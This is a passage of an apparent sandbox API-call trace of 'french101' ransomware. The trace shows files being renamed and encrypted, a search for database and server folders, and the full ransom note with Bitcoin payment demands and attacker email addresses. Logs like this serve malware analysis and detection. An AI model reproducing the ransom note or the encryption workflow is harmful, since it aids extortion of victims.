lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0279.038] WriteFile (in: hFile=0x308, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0279.039] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.039] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.039] CloseHandle (hObject=0x308) returned 1 [0279.044] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1036\\zeO3fsc=jkrlpStOJ1nr5PXT2AaD+edX78mteIB05a9ZUQ.french101" (normalized: "c:\\588bce7c90097ed212\\1036\\zeo3fsc=jkrlpstoj1nr5pxt2aad+edx78mteib05a9zuq.french101")) returned 1 [0279.044] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\zeO3fsc=jkrlpStOJ1nr5PXT2AaD+edX78mteIB05a9ZUQ.french101" (normalized: "c:\\588bce7c90097ed212\\1036\\zeo3fsc=jkrlpstoj1nr5pxt2aad+edx78mteib05a9zuq.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0279.045] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0279.045] CloseHandle (hObject=0x308) returned 1 [0279.045] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\zeO3fsc=jkrlpStOJ1nr5PXT2AaD+edX78mteIB05a9ZUQ.french101", dwFileAttributes=0x80) returned 1 [0279.045] CloseHandle (hObject=0x308) returned 0 [0279.045] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.045] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.045] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.045] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.046] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.046] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.046] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.046] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.046] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.046] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0279.046] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da1d0 [0279.046] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0279.046] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0279.046] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0279.046] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1036\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0279.046] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0279.047] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0279.047] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0279.047] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0279.047] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0279.047] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0279.047] ReadFile (in: hFile=0x308, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0279.047] CloseHandle (hObject=0x308) returned 1 [0279.047] FindNextFileW (in: hFindFile=0x6da290, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.047] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.047] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.047] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.047] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.047] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.047] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.048] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0279.048] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.048] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.048] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0279.048] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.048] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.048] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0279.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0279.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.049] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0279.049] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0279.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0279.049] FindNextFileW (in: hFindFile=0x6da290, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0279.049] GetLastError () returned 0x12 [0279.049] FindClose (in: hFindFile=0x6da290 | out: hFindFile=0x6da290) returned 1 [0279.049] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.049] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.049] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.049] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.049] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0279.049] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.049] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.050] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0279.050] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.050] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0279.050] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0279.050] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.050] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.050] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.050] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.050] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.050] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0279.050] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.050] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.050] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0279.050] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.050] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.051] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.051] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.051] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.051] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.051] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.051] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.051] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.051] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.051] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.051] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.051] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.051] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.051] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.051] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.051] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.051] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.051] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.052] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.052] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.052] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.052] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0279.052] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.052] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.052] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0279.052] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.052] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.052] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.052] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.052] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.052] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.052] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.052] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.052] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.052] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.052] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.053] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.053] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.053] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.053] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.053] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.053] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.053] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.053] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.053] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.053] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.053] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.053] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0279.053] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.053] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.053] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0279.053] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.053] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.054] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.054] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.054] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.054] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.054] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.054] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.054] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.054] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.054] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.054] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.054] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.054] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.054] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.054] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0279.054] GetLastError () returned 0x12 [0279.054] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0279.055] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0279.055] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0279.055] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0279.055] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.055] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.105] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.105] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.105] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0279.105] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.105] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.105] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0279.105] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.105] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.105] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.105] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.105] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.105] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.106] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0279.106] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.106] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.106] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0279.106] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.106] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.106] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1037", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1037") returned 1 [0279.106] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.106] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.106] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.106] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.106] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0279.106] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.106] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.106] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0279.106] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.107] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.107] GetLastError () returned 0x3 [0279.107] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.107] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1ce80, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0279.107] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.107] GetLastError () returned 0x2 [0279.107] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.107] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1ce80, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0279.107] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.108] GetLastError () returned 0x2 [0279.108] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d20, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0279.108] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.108] GetLastError () returned 0x2 [0279.108] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d20, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0279.108] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.108] GetLastError () returned 0x2 [0279.109] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0279.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0190, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0279.109] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.109] GetLastError () returned 0x2 [0279.109] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", 